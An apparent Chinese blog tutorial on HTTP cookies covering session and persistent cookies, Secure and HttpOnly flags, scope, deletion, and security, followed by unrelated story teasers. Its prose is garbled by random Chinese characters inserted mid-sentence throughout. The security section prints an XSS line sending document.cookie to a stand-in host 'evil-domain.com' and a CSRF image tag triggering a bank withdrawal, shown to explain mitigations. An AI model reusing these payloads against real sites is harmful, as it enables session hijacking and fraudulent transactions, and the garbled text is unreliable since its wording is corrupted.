Cookie 詳解

Cookie會(huì)在瀏覽器下次向同一服務(wù)器再發(fā)起請求時(shí)被攜帶并發(fā)送到服務(wù)器上源请。通常,它用于告知服務(wù)端兩個(gè)請求是否來自同一瀏覽器彻况,如保持用戶的登錄狀態(tài)谁尸。Cookie使基于無狀態(tài)的HTTP協(xié)議記錄穩(wěn)定的狀態(tài)信息成為了可能。

Cookie主要用于以下三個(gè)方面:

  • 會(huì)話狀態(tài)管理(如用戶登錄狀態(tài)纽甘、購物車症汹、游戲分?jǐn)?shù)或其它需要記錄的信息)
  • 個(gè)性化設(shè)置(如用戶自定義設(shè)置、主題等)
  • 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

Cookie曾一度用于客戶端數(shù)據(jù)的存儲(chǔ)贷腕,因當(dāng)時(shí)并沒有其它合適的存儲(chǔ)辦法而作為唯一的存儲(chǔ)手段,但現(xiàn)在隨著現(xiàn)代瀏覽器開始支持各種各樣的存儲(chǔ)方式咬展,Cookie漸漸被淘汰泽裳。由于服務(wù)器指定Cookie后,瀏覽器的每次請求都會(huì)攜帶Cookie數(shù)據(jù)破婆,會(huì)帶來額外的性能開銷(尤其是在移動(dòng)環(huán)境下)涮总。新的瀏覽器API已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲(chǔ)到本地,如使用 Web storage API (本地存儲(chǔ)和會(huì)話存儲(chǔ))或 IndexedDB 祷舀。

創(chuàng)建Cookie

當(dāng)服務(wù)器收到HTTP請求時(shí)瀑梗,服務(wù)器可以在響應(yīng)頭里面添加一個(gè)Set-Cookie選項(xiàng)。瀏覽器收到響應(yīng)后通常會(huì)保存下Cookie裳扯,之后對該服務(wù)器每一次請求中都通過Cookie請求頭部將Cookie信息發(fā)送給服務(wù)器抛丽。另外,Cookie的過期時(shí)間饰豺、域亿鲜、路徑、有效期冤吨、適用站點(diǎn)都可以根據(jù)需要來指定蒿柳。

會(huì)話期Cookie

會(huì)話期Cookie是最簡單的Cookie:瀏覽器關(guān)閉之后它會(huì)被自動(dòng)刪除饶套,也就是說它僅在會(huì)話期內(nèi)有效。會(huì)話期Cookie不需要指定過期時(shí)間(Expires)或者有效期(Max-Age)垒探。需要注意的是妓蛮,有些瀏覽器提供了會(huì)話恢復(fù)功能,這種情況下即使關(guān)閉了瀏覽器圾叼,會(huì)話期Cookie也會(huì)被保留下來蛤克,就好像瀏覽器從來沒有關(guān)閉一樣。

持久性Cookie

和關(guān)閉瀏覽器便失效的會(huì)話期Cookie不同褐奥,持久性Cookie可以指定一個(gè)特定的過期時(shí)間(Expires)或有效期(Max-Age)咖耘。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Cookie的SecureHttpOnly 標(biāo)記

安全的Cookie只應(yīng)通過HTTPS協(xié)議加密過的請求發(fā)送給服務(wù)端。即便設(shè)置了 Secure 標(biāo)記撬码,敏感信息也不應(yīng)該通過Cookie傳輸儿倒,因?yàn)镃ookie有其固有的不安全性,Secure標(biāo)記也無法提供確實(shí)的安全保障呜笑。從 Chrome 52 和 Firefox 52 開始夫否,不安全的站點(diǎn)(http:)無法使用Cookie的 Secure 標(biāo)記。

為避免跨域腳本 (XSS) 攻擊叫胁,通過JavaScript的 Document.cookie API無法訪問帶有 HttpOnly 標(biāo)記的Cookie凰慈,它們只應(yīng)該發(fā)送給服務(wù)端。如果包含服務(wù)端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調(diào)用驼鹅,那么就應(yīng)該為其設(shè)置 HttpOnly 標(biāo)記微谓。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的作用域

DomainPath 標(biāo)識(shí)定義了Cookie的作用域:即Cookie應(yīng)該發(fā)送給哪些URL。

Domain 標(biāo)識(shí)指定了哪些主機(jī)可以接受Cookie输钩。如果不指定豺型,默認(rèn)為當(dāng)前文檔的主機(jī)不包含子域名)。如果指定了Domain买乃,則一般包含子域名姻氨。

例如,如果設(shè)置 Domain=mozilla.org剪验,則Cookie也包含在子域名中(如developer.mozilla.org)肴焊。

Path 標(biāo)識(shí)指定了主機(jī)下的哪些路徑可以接受Cookie(該URL路徑必須存在于請求URL中)。以字符 %x2F ("/") 作為路徑分隔符功戚,子路徑也會(huì)被匹配娶眷。

刪除Cookie

將cookie的過期時(shí)間設(shè)置為過去的時(shí)間可以刪除該cookie,但是他不會(huì)刪除帶有HttpOnly的標(biāo)記的cookie啸臀,如果設(shè)置了path或者domain參數(shù)茂浮,同樣不能刪除

JavaScript通過Document.cookies訪問Cookie

通過Document.cookie屬性可創(chuàng)建新的Cookie,也可通過該屬性訪問非HttpOnly標(biāo)記的Cookie。

安全

當(dāng)機(jī)器處于不安全環(huán)境時(shí)席揽,切記不能通過HTTP Cookie存儲(chǔ)顽馋、傳輸敏感信息。

會(huì)話劫持和XSS

在Web應(yīng)用中幌羞,Cookie常用來標(biāo)記用戶或授權(quán)會(huì)話寸谜。因此,如果Web應(yīng)用的Cookie被竊取属桦,可能導(dǎo)致授權(quán)用戶的會(huì)話受到攻擊熊痴。常用的竊取Cookie的方法有利用社會(huì)工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行XSS攻擊。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊聂宾。

跨站請求偽造(CSRF)

維基百科已經(jīng)給了一個(gè)比較好的CSRF例子果善。比如在不安全聊天室或論壇上的一張圖片,它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

當(dāng)你打開含有了這張圖片的HTML頁面時(shí)系谐,如果你之前已經(jīng)登錄了你的銀行帳號(hào)并且Cookie仍然有效(還沒有其它驗(yàn)證步驟)巾陕,你銀行里的錢很可能會(huì)被自動(dòng)轉(zhuǎn)走。有一些方法可以阻止此類事件的發(fā)生:

  • 對用戶輸入進(jìn)行過濾來阻止XSS纪他;
  • 任何敏感操作都需要確認(rèn)鄙煤;
  • 用于敏感信息的Cookie只能擁有較短的生命周期;
  • 更多方法可以查看OWASP CSRF prevention cheat sheet茶袒。
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末梯刚,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子薪寓,更是在濱河造成了極大的恐慌亡资,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,372評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件向叉,死亡現(xiàn)場離奇詭異锥腻,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)植康,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來展懈,“玉大人销睁,你說我怎么就攤上這事〈嫜拢” “怎么了冻记?”我有些...
    開封第一講書人閱讀 162,415評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長来惧。 經(jīng)常有香客問我冗栗,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,157評論 1 292
  • 正文 為了忘掉前任隅居,我火速辦了婚禮钠至,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘胎源。我一直安慰自己棉钧,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評論 6 388
  • 文/花漫 我一把揭開白布涕蚤。 她就那樣靜靜地躺著宪卿,像睡著了一般。 火紅的嫁衣襯著肌膚如雪万栅。 梳的紋絲不亂的頭發(fā)上佑钾,一...
    開封第一講書人閱讀 51,125評論 1 297
  • 那天,我揣著相機(jī)與錄音烦粒,去河邊找鬼休溶。 笑死,一個(gè)胖子當(dāng)著我的面吹牛撒遣,可吹牛的內(nèi)容都是我干的邮偎。 我是一名探鬼主播,決...
    沈念sama閱讀 40,028評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼义黎,長吁一口氣:“原來是場噩夢啊……” “哼禾进!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起廉涕,我...
    開封第一講書人閱讀 38,887評論 0 274
  • 序言:老撾萬榮一對情侶失蹤泻云,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后狐蜕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體宠纯,經(jīng)...
    沈念sama閱讀 45,310評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評論 2 332
  • 正文 我和宋清朗相戀三年层释,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了婆瓜。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,690評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡贡羔,死狀恐怖廉白,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情乖寒,我是刑警寧澤猴蹂,帶...
    沈念sama閱讀 35,411評論 5 343
  • 正文 年R本政府宣布,位于F島的核電站楣嘁,受9級特大地震影響磅轻,放射性物質(zhì)發(fā)生泄漏珍逸。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評論 3 325
  • 文/蒙蒙 一聋溜、第九天 我趴在偏房一處隱蔽的房頂上張望谆膳。 院中可真熱鬧,春花似錦勤婚、人聲如沸摹量。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽缨称。三九已至,卻和暖如春祝迂,著一層夾襖步出監(jiān)牢的瞬間睦尽,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評論 1 268
  • 我被黑心中介騙來泰國打工型雳, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留当凡,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,693評論 2 368
  • 正文 我出身青樓纠俭,卻偏偏與公主長得像沿量,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子冤荆,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評論 2 353

推薦閱讀更多精彩內(nèi)容